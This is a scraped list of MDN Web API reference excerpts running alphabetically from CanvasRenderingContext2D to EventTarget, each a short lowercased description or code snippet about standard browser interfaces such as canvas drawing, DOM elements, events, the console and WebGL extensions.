this is commonly required at the start of each frame in an animation.
CanvasRenderingContext2D.closePath() - Web APIs
after that, the triangle's base is created with the closepath() method, which automatically connects the shape's first and last points.
CanvasRenderingContext2D.currentTransform - Web APIs
examples manually changing the matrix this example uses the currenttransform property to set a transformation matrix.
CanvasRenderingContext2D.direction - Web APIs
examples changing text direction this example draws two pieces of text.
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
syntax void ctx.drawfocusifneeded(element); void ctx.drawfocusifneeded(path, element); parameters element the element to check whether it is focused or not.
CanvasRenderingContext2D.drawWidgetAsOnScreen() - Web APIs
it is only supported on windows, only on widgets that use omtc, and only from within the chrome process.
CanvasRenderingContext2D.fill() - Web APIs
syntax void ctx.fill([fillrule]); void ctx.fill(path [, fillrule]); parameters fillrule the algorithm by which to determine if a point is inside or outside the filling region.
CanvasRenderingContext2D.getLineDash() - Web APIs
html <canvas id="canvas"></canvas> javascript as set by setlinedash(), strokes consist of lines that are 10 units wide, with spaces of 20 units in between each line.
CanvasRenderingContext2D.lineTo() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); // start a new path ctx.moveto(30, 50); // move the pen to (30, 50) ctx.lineto(150, 100); // draw a line to (150, 100) ctx.stroke(); // render the path result drawing connected lines each call of lineto() (and similar methods) automatically adds to the current sub-path, which means that all the lines will all be stroked or filled together.
CanvasRenderingContext2D.lineWidth - Web APIs
examples changing line width this example draws a line and a rectangle, using a line width of 15 units.
CanvasRenderingContext2D.measureText() - Web APIs
the canvasrenderingcontext2d.measuretext() method returns a textmetrics object that contains information about the measured text (such as its width, for example).
CanvasRenderingContext2D.miterLimit - Web APIs
examples using the miterlimit property see the chapter applying styles and color in the canvas tutorial for more information.
CanvasRenderingContext2D.quadraticCurveTo() - Web APIs
the starting point is the latest point in the current path, which can be changed using moveto() before creating the quadratic bézier curve.
CanvasRenderingContext2D.rotate() - Web APIs
to change the center point, you will need to move the canvas by using the translate() method.
CanvasRenderingContext2D.scale() - Web APIs
notice that its position on the canvas also changes.
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.beginpath(); ctx.fillrect(10, 10, 30, 30); ctx.scrollpathintoview(); edit the code below to see your changes update live in the canvas: playable code <canvas id="canvas" width="400" height="200" class="playable-canvas"> <input id="button" type="range" min="1" max="12"> </canvas> <div class="playable-buttons"> <input id="edit" type="button" value="edit" /> <input id="reset" type="button" value="reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginpath(); ctx.rect(10, 10, 30, 3...
CanvasRenderingContext2D.setLineDash() - Web APIs
it uses an array of values that specify alternating lengths of lines and gaps which describe the pattern.
A basic ray-caster - Web APIs
the code i ended up with is a regurgitated amalgam of the raycaster chapters from an old andré lamothetricks of the game programming gurus book (isbn: 0672305070), and a java raycaster i found online, filtered through my compulsion to rename everything so it makes sense to me, and all the tinkering that had to be done to make things work well.
CaretPosition - Web APIs
caretposition.offset read only returns a long representing the character offset in the caret position node.
Client.url - Web APIs
WebAPIClienturl
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: 'window' }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe defin...
Clients.get() - Web APIs
WebAPIClientsget
the get() method of the clients interface gets a service worker client matching a given id and returns it in a promise.
Clipboard.readText() - Web APIs
the clipboard interface's readtext() method returns a promise which resolves with a copy of the textual contents of the system clipboard..
ClipboardEvent.clipboardData - Web APIs
the clipboardevent.clipboarddata property holds a datatransfer object, which can be used: to specify what data should be put into the clipboard from the cut and copy event handlers, typically with a setdata(format, data) call; to obtain the data to be pasted from the paste event handler, typically with a getdata(format) call.
CompositionEvent.CompositionEvent() - Web APIs
compositioneventinit optional a compositioneventinit dictionary object, which can contain the following members: data initializes the data attribute of the compositionevent object to the characters generated by the ime composition.
CompositionEvent.initCompositionEvent() - Web APIs
viewarg the window object from which the event was generated.
Console.dirxml() - Web APIs
WebAPIConsoledirxml
the output is presented as a hierarchical listing of expandable nodes that let you see the contents of child nodes.
Console.group() - Web APIs
WebAPIConsolegroup
(chrome 59 tested) does not work with console.groupend().
Console.time() - Web APIs
WebAPIConsoletime
you give each timer a unique name, and may have up to 10,000 timers running on a given page.
Console.timeEnd() - Web APIs
WebAPIConsoletimeEnd
examples console.time("answer time"); alert("click to continue"); console.timelog("answer time"); alert("do a bunch of other stuff..."); console.timeend("answer time"); the output from the example above shows the time taken by the user to dismiss the first alert box, followed by the time it took for the user to dismiss the second alert: notice that the timer's name is displayed when the timer value is logged using timelog() and again when it's stopped.
Console.timeLog() - Web APIs
WebAPIConsoletimeLog
examples console.time("answer time"); alert("click to continue"); console.timelog("answer time"); alert("do a bunch of other stuff..."); console.timeend("answer time"); the output from the example above shows the time taken by the user to dismiss the first alert box, followed by the time it took for the user to dismiss the second alert: notice that the timer's name is displayed when the timer value is logged using timelog() and again when it's stopped.
Console.timeStamp() - Web APIs
WebAPIConsoletimeStamp
this lets you correlate a point in your code with the other events recorded in the timeline, such as layout and paint events.
ContentIndexEvent() - Web APIs
syntax var contentindexevent = new contentindexevent(type, contentindexeventinit); parameters type a domstring indicating the event which occurred.
ConvolverNode.buffer - Web APIs
the buffer property of the convolvernode interface represents a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the reverb effect.
CrashReportBody - Web APIs
if you want to receive other kinds of reports, but not crash reports, make sure to use a different name for the endpoint group that you choose for those reports.
CredentialsContainer.create() - Web APIs
returns a promise that resolves with a credential instance, such as passwordcredential, federatedcredential, or publickeycredential.
CredentialsContainer.preventSilentAccess() - Web APIs
mediation varies by origin, and is an added check point of browser stored credentials, informing a user of an account login status.
Crypto.subtle - Web APIs
WebAPICryptosubtle
the crypto.subtle read-only property returns a subtlecrypto which can then be used to perform low-level cryptographic operations.
Crypto - Web APIs
WebAPICrypto
the web crypto api is accessed through the window.crypto property, which is a crypto object.
CryptoKeyPair - Web APIs
it contains two properties, which are both cryptokey objects: a privatekey property containing the private key and a publickey property containing the public key.
CustomElementRegistry.get() - Web APIs
examples customelements.define('my-paragraph', class extends htmlelement { constructor() { super(); let template = document.getelementbyid('my-paragraph'); let templatecontent = template.content; const shadowroot = this.attachshadow({mode: 'open'}) .appendchild(templatecontent.clonenode(true)); } }) // return a reference to the my-paragraph constructor let ctor = customelements.get('my-paragraph'); specifications specification status comment html living standardthe definition of 'customelements.get()' in that specification.
CustomEvent() - Web APIs
example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event var event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); additional examples can be found at creating and triggering events.
CustomEvent.detail - Web APIs
example // add an appropriate event listener obj.addeventlistener("cat", function(e) { process(e.detail) }); // create and dispatch the event let event = new customevent("cat", { detail: { hazcheeseburger: true } }); obj.dispatchevent(event); // will return an object contaning the hazcheeseburger property let mydetail = event.detail; specifications specification status comment domthe definition of 'detail' in that specification.
DOMConfiguration - Web APIs
pre-defined parameters: "canonical-form", "cdata-sections", "check-character-normalization", "comments", "datatype-normalization", "element-content-whitespace", "entities", "error-handler", "infoset", "namespaces", "namespace-declarations", "normalize-characters","schema-location", "schema-type", "split-cdata-sections", "validate", "validate-if-schema", "well-formed" properties domconfiguration.parameternames read only is a domstringlist methods domconfiguration.cansetparameter() returns a boolean domconfiguration.getparameter() returns a domuserdata domconfiguration.setparameter() sets a parameter specification http://www.w3.org/tr/dom-level-3-cor...mconfiguratio...
DOMLocator - Web APIs
note: this is not implemented in mozilla indicates a location such as where an error occurred.
DOMMatrix() - Web APIs
the dommatrix constructor creates a new dommatrix object which represents 4x4 matrices, suitable for 2d and 3d operations..
DOMMatrixReadOnly() - Web APIs
the dommatrixreadonly constructor creates a new dommatrixreadonly object which represents 4x4 matrices, suitable for 2d and 3d operations.
DOMMatrixReadOnly.translate() - Web APIs
examples this svg contains two squares, one red and one blue, each positioned at the document origin: <svg width="250" height="250" viewbox="0 0 50 50"> <rect width="25" height="25" fill="red" /> <rect id="transformed" width="25" height="25" fill="blue" /> </svg> the following javascript first creates an identity matrix, then uses the translate() method to create a new, translated matrix — which is then applied to the blue square as a transform.
DOMPoint.DOMPoint() - Web APIs
WebAPIDOMPointDOMPoint
examples this example creates a dompoint representing the top-left corner of the current window, then creates a second point based on the first, which is then offset by 100 pixels both vertically and horizontally.
DOMPoint.z - Web APIs
WebAPIDOMPointz
unless transforms have changed the orientation, a z of 0 is the plane of the screen, with positive values extending outward toward the user from the screen, and negative values receding into the distance behind the screen.
DOMPointInit.w - Web APIs
WebAPIDOMPointInitw
there are two methods which use dompointinit: the static function dompointreadonly.frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
DOMPointReadOnly.toJSON() - Web APIs
return value a new dompointinit object whose properties are set to the values in the dompoint or dompointreadonly on which the method was called.
DOMPointReadOnly.w - Web APIs
if your script needs to be able to change the value of this property, you should instead use the dompoint object.
DOMPointReadOnly.x - Web APIs
this property cannot be changed by javascript code in this read-only version of the dompoint object.
DOMPointReadOnly.y - Web APIs
if your script needs to be able to change the value of this property, you should instead use the dompoint object.
DOMPointReadOnly.z - Web APIs
if your script needs to be able to change the value of this property, you should instead use the dompoint object.
DOMPointReadOnly - Web APIs
first, you can use its constructor, passing in the values of the parameters for each dimension and, optionally, the perspective: /* 2d */ const point = new dompointreadonly(50, 50); /* 3d */ const point = new dompointreadonly(50, 50, 25); /* 3d with perspective */ const point = new dompointreadonly(100, 100, 100, 1.0); the other option is to use the static dompointreadonly.frompoint() method: const point = dompointreadonly.frompoint({x: 100, y: 100, z: 50; w: 1.0}); constructor dompointreadonly() creates a new dompointreadonly...
DOMQuad - Web APIs
WebAPIDOMQuad
properties p1,p2,p3,p4 read only are dompoint objects for each of the domquad object's four corners.
DOMRectReadOnly.height - Web APIs
syntax var recheight = domrect.height; value a double.
DOMString - Web APIs
WebAPIDOMString
as javascript already uses such strings, domstring is mapped directly to a string.
DOMStringList - Web APIs
a type returned by some apis which contains a list of domstring (strings).
DOMTimeStamp - Web APIs
the domtimestamp type represents an absolute or relative number of milliseconds, depending on the specification in which it appears.
DOMTokenList.keys() - Web APIs
WebAPIDOMTokenListkeys
of loop, writing each one to the <span>'s node.textcontent.
DOMTokenList.remove() - Web APIs
the order you supply the tokens doesn't have to match the order they appear in the list: let span2 = document.getelementsbytagname("span")[0] let classes2 = span.classlist; classes2.remove("c", "b"); span2.textcontent = classes; specifications specification status comment domthe definition of 'remove()' in that specification.
DOMTokenList.replace() - Web APIs
return value a boolean value, which is true if oldtoken was successfully replaced, or false if not.
DOMTokenList.values() - Web APIs
of loop, writing each one to the <span>'s node.textcontent.
DOMUserData - Web APIs
note that although it can be an object, in mozilla, it may be returned as a string or other type, if it was set as such a type (e.g., node.setuserdata() and node.getuserdata()).
DataTransfer.files - Web APIs
syntax datatransfer.files; return value a list of the files in a drag operation, one list item for each file in the operation.
DataTransfer.getData() - Web APIs
ion allowdrop(allowdropevent) { allowdropevent.target.style.color = 'blue'; allowdropevent.preventdefault(); } function drag(dragevent) { dragevent.datatransfer.setdata("text", dragevent.target.id); dragevent.target.style.color = 'green'; } function drop(dropevent) { dropevent.preventdefault(); var data = dropevent.datatransfer.getdata("text"); dropevent.target.appendchild(document.getelementbyid(data)); document.getelementbyid("drag").style.color = 'black'; } result specifications specification status comment html living standardthe definition of 'getdata()' in that specification.
DataTransfer.mozClearDataAt() - Web APIs
removing the last format for a particular index removes that item entirely, shifting the remaining items down and changing their indices.
DataTransfer.mozCursor - Web APIs
default uses the default gecko behavior, which is to set the cursor to an arrow during the drag operation.
DataTransfer.mozGetDataAt() - Web APIs
transfer; var count = dt.mozitemcount; output("items: " + count + "\n"); for (var i = 0; i < count; i++) { output(" item " + i + ":\n"); var types = dt.moztypesat(i); for (var t = 0; t < types.length; t++) { output(" " + types[t] + ": "); try { var data = dt.mozgetdataat(types[t], i); output("(" + (typeof data) + ") : <" + data + " >\n"); } catch (ex) { output("<>\n"); dump(ex); } } } } specifications this method is not defined in any web standard.
DeviceMotionEvent.acceleration - Web APIs
each axis is represented with its own property: x represents the acceleration upon the x axis which is the west to east axis y represents the acceleration upon the y axis which is the south to north axis z represents the acceleration upon the z axis which is the down to up axis specifications specification status comment deviceorientation event specification e...
DeviceMotionEvent.interval - Web APIs
returns the interval, in milliseconds, at which data is obtained from the underlaying hardware.
DeviceMotionEventRotationRate - Web APIs
a devicemotioneventrotationrate object provides information about the rate at which the device is rotating around all three axes.
DeviceOrientationEvent.alpha - Web APIs
returns the rotation of the device around the z axis; that is, the number of degrees by which the device is being twisted around the center of the screen.
DeviceOrientationEvent.beta - Web APIs
returns the rotation of the device around the x axis; that is, the number of degrees, ranged between -180 and 180, by which the device is tipped forward or backward.
DeviceOrientationEvent.gamma - Web APIs
returns the rotation of the device around the y axis; that is, the number of degrees, ranged between -90 and 90, by which the device is tilted left or right.
DeviceOrientationEvent - Web APIs
warning: currently, firefox and chrome do not handle the coordinates the same way.
Device Memory API - Web APIs
traditionally, developrs had to use heruistics and either benchmark the device or infer the device capabilities based on other factors like device manufacturer or user agent strings.
Document.alinkColor - Web APIs
internet explorer 6 and 7 support alinkcolor/:active only for html anchor (<a>) links and the behavior is the same as :focus under gecko.
Document.all - Web APIs
WebAPIDocumentall
syntax var htmlallcollection = document.all; value an htmlallcollection which contains every element in the document.
Document: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css.
Document: animationend event - Web APIs
if the animation aborts before reaching completion, such as if the element is removed from the dom or the animation is removed from the element, the animationend event is not fired.
Document.applets - Web APIs
WebAPIDocumentapplets
note: the <applet> element was removed in gecko 56 and chrome in late 2015.
Document.bgColor - Web APIs
WebAPIDocumentbgColor
the recommended alternative is use of the css style background-color which can be accessed through the dom with document.body.style.backgroundcolor.
Document.createComment() - Web APIs
example var docu = new domparser().parsefromstring('<xml></xml>', 'application/xml'); var comment = docu.createcomment('this is a not-so-secret comment in your document'); docu.getelementsbytagname('xml')[0].appendchild(comment); alert(new xmlserializer().serializetostring(docu)); // displays: <xml><!--this is a not-so-secret comment in your document--></xml> specifications specification status comment domthe definition of 'document.createcomment' in that specification.
Document.createElementNS() - Web APIs
e="application/javascript"><![cdata[ let container; let newdiv; let txtnode; function init(){ container = document.getelementbyid("containerbox"); newdiv = document.createelementns("http://www.w3.org/1999/xhtml", "div"); txtnode = document.createtextnode("this is text that was constructed dynamically with createelementns and createtextnode then inserted into the document using appendchild."); newdiv.appendchild(txtnode); container.appendchild(newdiv); } ]]></script> <vbox id="containerbox" flex="1"> <html:div> the script on this page will add dynamic content below: </html:div> </vbox> </page> the example given above uses inline script which is not recommended in xhtml documents.
Document.createEntityReference() - Web APIs
which has the value referred to by the entity, using unicode escape sequences or fromcharcode() as necessary.
Document.currentScript - Web APIs
syntax var curscriptelement = document.currentscript; example this example checks to see if the script is being executed asynchronously: if (document.currentscript.async) { console.log("executing asynchronously"); } else { console.log("executing synchronously"); } view live examples specifications specification status comment html living standardthe definition of 'document.currentscript' in that specification.
Document.defaultView - Web APIs
living standard no change html5the definition of 'document.defaultview' in that specification.
Document.documentElement - Web APIs
syntax const element = document.documentelement example const rootelement = document.documentelement; const firsttier = rootelement.childnodes; // firsttier is a nodelist of the direct children of the root element // such as <head> and <body> for (const child of firsttier) { // do something with each direct child of the root element } notes for any non-empty html document, documentelement will always be an <html> element.
Document.documentURIObject - Web APIs
syntax var uri = document.documenturiobject; example // check that the uri scheme of the current tab in firefox is 'http', // assuming this code runs in context of browser.xul let uriobj = content.document.documenturiobject; let uriport = uriobj.port; if (uriobj.schemeis('http')) { ...
Document.domain - Web APIs
WebAPIDocumentdomain
const currentdomain = document.domain; closing a window if a document, such as www.example.xxx/good.html, has the domain of "www.example.xxx", this example attempts to close the window.
Document: drag event - Web APIs
ent.target.classname == "dropzone") { event.target.style.background = ""; } }, false); document.addeventlistener("drop", function(event) { // prevent default action (open as link for some elements) event.preventdefault(); // move dragged elem to the selected drop target if (event.target.classname == "dropzone") { event.target.style.background = ""; dragged.parentnode.removechild( dragged ); event.target.appendchild( dragged ); } }, false); specifications specification status comment html living standardthe definition of 'drag event' in that specification.
Document.featurePolicy - Web APIs
the featurepolicy read-only property of the document interface returns the featurepolicy interface which provides a simple api for inspecting the feature policies applied to a specific document.
Document: gotpointercapture event - Web APIs
it then calls setpointercapture() on the element on a pointerdown event, which will trigger gotpointercapture.
Document.hidden - Web APIs
WebAPIDocumenthidden
syntax var boolean = document.hidden examples document.addeventlistener("visibilitychange", function() { console.log( document.hidden ); // modify behavior...
Document.images - Web APIs
WebAPIDocumentimages
each entry in the collection is an htmlimageelement representing a single image element.
Document.linkColor - Web APIs
as an alternative, you can set the css color property on either html anchor links (<a>) or on :link pseudo-classes.
Document.links - Web APIs
WebAPIDocumentlinks
example var links = document.links; for(var i = 0; i < links.length; i++) { var linkhref = document.createtextnode(links[i].href); var linebreak = document.createelement("br"); document.body.appendchild(linkhref); document.body.appendchild(linebreak); } specifications specification status comment html living standardthe definition of 'document.links' in that specification.
Document.onafterscriptexecute - Web APIs
it does not fire if the element is added dynamically, such as with appendchild().
Document.onbeforescriptexecute - Web APIs
does not fire if the element is added dynamically, eg with appendchild().
Document.onfullscreenerror - Web APIs
document.onfullscreenerror = function ( event ) { displaywarning("unable to switch into full-screen mode."); }; //....
Document.onoffline - Web APIs
the document.onoffline event handler is called when an offline is fired on the <body> element and bubbles up, when navigator.online property changes and becomes false.
Document: pointerdown event - Web APIs
for touch, it is fired when physical contact is made with the digitizer.
Document: pointerlockerror event - Web APIs
the pointerlockerror event is fired when locking the pointer failed (for technical reasons or because the permission was denied).
Document: pointermove event - Web APIs
the pointermove event is fired when a pointer changes coordinates, and the pointer has not been canceled by a browser touch-action.
Document.queryCommandState() - Web APIs
example html <div contenteditable="true">select a part of this text!</div> <button onclick="makebold();">test the state of the 'bold' command</button> javascript function makebold() { var state = document.querycommandstate("bold"); switch (state) { case true: alert("the bold formatting will be removed from the selected text."); break; case false: alert("the selected text will be displayed in bold."); break; case null: alert("the state of the 'bold' command is indeterminable."); break; } document.execcommand('bold'); } result specifications specification status ...
Document.releaseCapture() - Web APIs
syntax document.releasecapture(); once mouse capture is released, mouse events will no longer all be directed to the element on which capture is enabled.
Document.rootElement - Web APIs
it is deprecated in favor of document.documentelement, which returns the root element for all documents.
Document: scroll event - Web APIs
examples scroll event throttling since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as dom modifications.
Document.selectedStyleSheetSet - Web APIs
note: this attribute's value is live; directly changing the disabled attribute on style sheets will affect the value of this attribute.
Document.styleSheetSets - Web APIs
example given an <ul> (list) element with the id "sheetlist", you can populate it with the names of all the available style sheet sets with code like this: let list = document.getelementbyid('sheetlist'); let sheets = document.stylesheetsets; list.innerhtml = ''; for (let i = 0; i < sheets.length; i++) { let item = document.createelement('li'); item.innerhtml = sheets[i]; list.appendchild(item); } notes the list of available style sheet sets is constructed by enumerating all the style sheets available for the document, in the order in which they're listed in the document.stylesheets attribute, adding the title of each style sheet that has a title to the list.
Document.tooltipNode - Web APIs
the document.tooltipnode property returns the node which is the target of the current <xul:tooltip>.
Document: transitionend event - Web APIs
in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
Document.writeln() - Web APIs
WebAPIDocumentwriteln
writes a string of text followed by a newline character to a document.
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
the caretpositionfrompoint() property of the documentorshadowroot interface returns a caretposition object, containing the dom node, along with the caret and caret's character offset within that node.
DocumentOrShadowRoot.fullscreenElement - Web APIs
example this example presents a function, isvideoinfullscreen(), which looks at the value returned by fullscreenelement; if the document is in full-screen mode (fullscreenelement isn't null) and the full-screen element's nodename is video, indicating a <video> element, the function returns true, indicating that the video is in full-screen mode.
DocumentOrShadowRoot.msElementsFromRect() - Web APIs
to find all of the elements which intersect a rectangle, use mselementsfromrect(top, left, width, height).
DocumentOrShadowRoot.nodeFromPoint() - Web APIs
currently this method is only implemented in firefox, and only available to chrome code.
DocumentOrShadowRoot.nodesFromPoint() - Web APIs
currently this method is only implemented in firefox, and only available to chrome code.
DocumentOrShadowRoot - Web APIs
methods documentorshadowroot.caretpositionfrompoint() returns a caretposition object containing the dom node containing the caret, and caret's character offset within that node.
DoubleRange - Web APIs
if no match can be found that is within the given range, an error will occur.
DragEvent.dataTransfer - Web APIs
syntax let data = dragevent.datatransfer; return value data a datatransfer object which contains the drag event's data.
DynamicsCompressorNode.ratio - Web APIs
the ratio property of the dynamicscompressornode interface is a k-rate audioparam representing the amount of change, in db, needed in the input for a 1 db change in the output.
DynamicsCompressorNode.threshold - Web APIs
the threshold property of the dynamicscompressornode interface is a k-rate audioparam representing the decibel value above which the compression will start taking effect.
EXT_blend_minmax - Web APIs
constants this extension adds two new constants, which can be used in webglrenderingcontext.blendequation() and webglrenderingcontext.blendequationseparate(): ext.min_ext produces the minimum color components of the source and destination colors.
EXT_color_buffer_float - Web APIs
framebuffers with attached textures of these formats may now be framebuffer_complete.
EXT_color_buffer_half_float - Web APIs
ext.framebuffer_attachment_component_type_ext ?
EXT_disjoint_timer_query.beginQueryEXT() - Web APIs
query a webglquery object for which to start the time querying.
EXT_disjoint_timer_query.createQueryEXT() - Web APIs
the ext_disjoint_timer_query.createqueryext() method of the webgl api creates and initializes webglquery objects, which track the time needed to fully complete a set of gl commands.
EXT_disjoint_timer_query.queryCounterEXT() - Web APIs
syntax void ext.querycounterext(query, target); parameters query a webglquery object for which to record the current time.
EXT_float_blend - Web APIs
ry extensions gl.getextension('ext_color_buffer_float'); gl.getextension('ext_float_blend'); const tex = gl.createtexture(); gl.bindtexture(gl.texture_2d, tex); // use floating point format gl.teximage2d(gl.texture_2d, 0, gl.rgba32f, 1, 1, 0, gl.rgba, gl.float, null); const fb = gl.createframebuffer(); gl.bindframebuffer(gl.framebuffer, fb); gl.framebuffertexture2d(gl.framebuffer, gl.color_attachment0, gl.texture_2d, tex, 0); // enable blending gl.enable(gl.blend); gl.drawarrays(gl.points, 0, 1); // won't throw gl.invalid_operation with the extension enabled specifications specification status ext_float_blend draft ...
EXT_shader_texture_lod - Web APIs
the ext_shader_texture_lod extension is part of the webgl api and adds additional texture functions to the opengl es shading language which provide the shader writer with explicit control of lod (level of detail).
EffectTiming.endDelay - Web APIs
the animation's end time—the time at which an iteration is considered to have finished—is the time at which the animation finishes an iteration (its initial delay, animationeffecttimingreadonly.delay, plus its duration,duration, plus its end delay.
EffectTiming.iterations - Web APIs
the property's value is left unchanged.
Element: MSGestureEnd event - Web APIs
the msgestureend event is fired when all associated touch points have stopped contacting the touch surface, and any associated inertial movements have ended; thus ending the gesture.
Element: MSGestureStart event - Web APIs
the msgesturestart event is fired when there's a new point of contact on the touch surface, thus starting a new gesture.
Element: MSGestureTap event - Web APIs
the msgesturetap event is fired when the user "taps" the pointing device (e.g., touches the touch surface with their finger, taps the touch surface with a pen device, clicks with a mouse).
Element: MSInertiaStart event - Web APIs
the msinertiastart event is fired when contact with the touch surface stops when a scroll has enough inertia to continue scrolling.
Element: MozMousePixelScroll event - Web APIs
the firefox-only, non-standard, and obsolete mozmousepixelscroll event is fired at an element asynchronously when a mouse wheel or similar device is operated.
Element.className - Web APIs
WebAPIElementclassName
example let el = document.getelementbyid('item'); if (el.classname === 'active'){ el.classname = 'inactive'; } else { el.classname = 'active'; } notes the name classname is used for this property instead of class because of conflicts with the "class" keyword in many languages which are used to manipulate the dom.
Element: contextmenu event - Web APIs
in the latter case, the context menu is displayed at the bottom left of the focused element, unless the element is a tree, in which case the context menu is displayed at the bottom left of the current row.
Element: copy event - Web APIs
it's possible to construct and dispatch a synthetic copy event, but this will not affect the system clipboard.
Element: dblclick event - Web APIs
the dblclick event fires when a pointing device button (such as a mouse's primary button) is double-clicked; that is, when it's rapidly clicked twice on a single element within a very short span of time.
Element: gestureend event - Web APIs
the gestureend event is fired when there are no longer multiple fingers contacting the touch surface, thus ending the gesture.
Element.getAttributeNode() - Web APIs
you can, however, get the element to which the attribute belongs with the ownerelement property.
Element.hasAttribute() - Web APIs
obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'element.hasattribute()' in that specification.
Element.hasAttributeNS() - Web APIs
example // check that the attribute exists before you set a value var d = document.getelementbyid("div1"); if (d.hasattributens( "http://www.mozilla.org/ns/specialspace/", "special-align")) { d.setattribute("align", "center"); } notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 n...
Element.hasAttributes() - Web APIs
obsolete no change from document object model (dom) level 2 core specification document object model (dom) level 2 core specificationthe definition of 'hasattributes()' in that specification.
Element: keyup event - Web APIs
bubbles yes cancelable yes interface keyboardevent event handler property onkeyup the keydown and keyup events provide a code indicating which key is pressed, while keypress indicates which character was entered.
Element: mouseover event - Web APIs
the mouseover event is fired at an element when a pointing device (such as a mouse or trackpad) is used to move the cursor onto the element or one of its child elements.
Element: mouseup event - Web APIs
the mouseup event is fired at an element when a button on a pointing device (such as a mouse or trackpad) is released while the pointer is located inside it.
Element: msContentZoom event - Web APIs
the mscontentzoom event fires when a user zooms the element (changes the scale of the content).
Element.msZoomTo() - Web APIs
WebAPIElementmsZoomTo
there may also be large incompatibilities between implementations and the behavior may change in the future.
Element.namespaceURI - Web APIs
also note that the namespace prefix, once it is associated with a particular element, cannot be changed.
Element: paste event - Web APIs
it's possible to construct and dispatch a synthetic paste event, but this will not affect the document's contents.
Element.releasePointerCapture() - Web APIs
exceptions exception explanation invalidpointerid pointerid does not match any of the active pointers.
Element.scrollIntoView() - Web APIs
the element interface's scrollintoview() method scrolls the element's parent container such that the element on which scrollintoview() is called is visible to the user syntax element.scrollintoview(); element.scrollintoview(aligntotop); // boolean parameter element.scrollintoview(scrollintoviewoptions); // object parameter parameters aligntotop optional is a boolean value: if true, the top of the element will be aligned to the top of the visible area of the scrollable ancestor.
Element.scrollIntoViewIfNeeded() - Web APIs
depending on which edge of the visible area is closest to the element, either the top of the element will be aligned to the top edge of the visible area, or the bottom edge of the element will be aligned to the bottom edge of the visible area.
Element: scroll event - Web APIs
examples scroll event throttling since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as dom modifications.
Element: select event - Web APIs
for example, in html, select events can be dispatched only on form <input type="text"> and <textarea> elements.
Element.setAttributeNode() - Web APIs
this method is seldom used, with element.setattribute() usually being used to change element's attributes.
Element.setAttributeNodeNS() - Web APIs
note that if you try to set without cloning the node, mozilla gives an ns_error_dom_inuse_attribute_err "attribute already in use" error, as the dom requires cloning for attr to be reused (unlike other nodes which can be moved).
Element.setCapture() - Web APIs
warning: this interface never had much cross-browser support and you probably looking for element.setpointercapture instead, from the pointer events api.
Element.tabStop - Web APIs
WebAPIElementtabStop
if the specified element is a shadow host tab navigation is delegated to its children.
Element.toggleAttribute() - Web APIs
exceptions invalidcharactererror the specified attribute name contains one or more characters which are not valid in attribute names.
Element: webkitmouseforcedown event - Web APIs
it is part of the force touch events feature.
Element: webkitmouseforceup event - Web APIs
it is part of the force touch events feature.
ElementCSSInlineStyle - Web APIs
each of these interfaces can, of course, add more features in addition to the ones listed below.
Encoding API - Web APIs
the encoding api provides a mechanism for handling text in various character encodings, including legacy non-utf-8 encodings.
Event() - Web APIs
WebAPIEventEvent
example // create a look event that bubbles up and cannot be canceled const evt = new event("look", {"bubbles":true, "cancelable":false}); document.dispatchevent(evt); // event can be dispatched from any element, not only the document mydiv.dispatchevent(evt); specifications specification status comment domthe definition of 'event()' in that specification.
Event.isTrusted - Web APIs
WebAPIEventisTrusted
the istrusted read-only property of the event interface is a boolean that is true when the event was generated by a user action, and false when the event was created or modified by a script or dispatched via eventtarget.dispatchevent().
Event.originalTarget - Web APIs
note: originaltarget may also be native anonymous content (see bug 208427), in which case it's useless for non-privileged code.
Event.stopPropagation() - Web APIs
examples see example 5: event propagation in the examples chapter for a more detailed example of this method and event propagation in the dom.
Event.type - Web APIs
WebAPIEventtype
it is set when the event is constructed and is the name commonly used to refer to the specific event, such as click, load, or error.
EventListener.handleEvent() - Web APIs
living standard no change.
EventSource: message event - Web APIs
var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.addeventlistener('message', (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message event' in that specification.
EventSource.onerror - Web APIs
the onerror property of the eventsource interface is an eventhandler called when an error occurs and the error event is dispatched on an eventsource object.
EventSource.onmessage - Web APIs
syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventTarget() - Web APIs
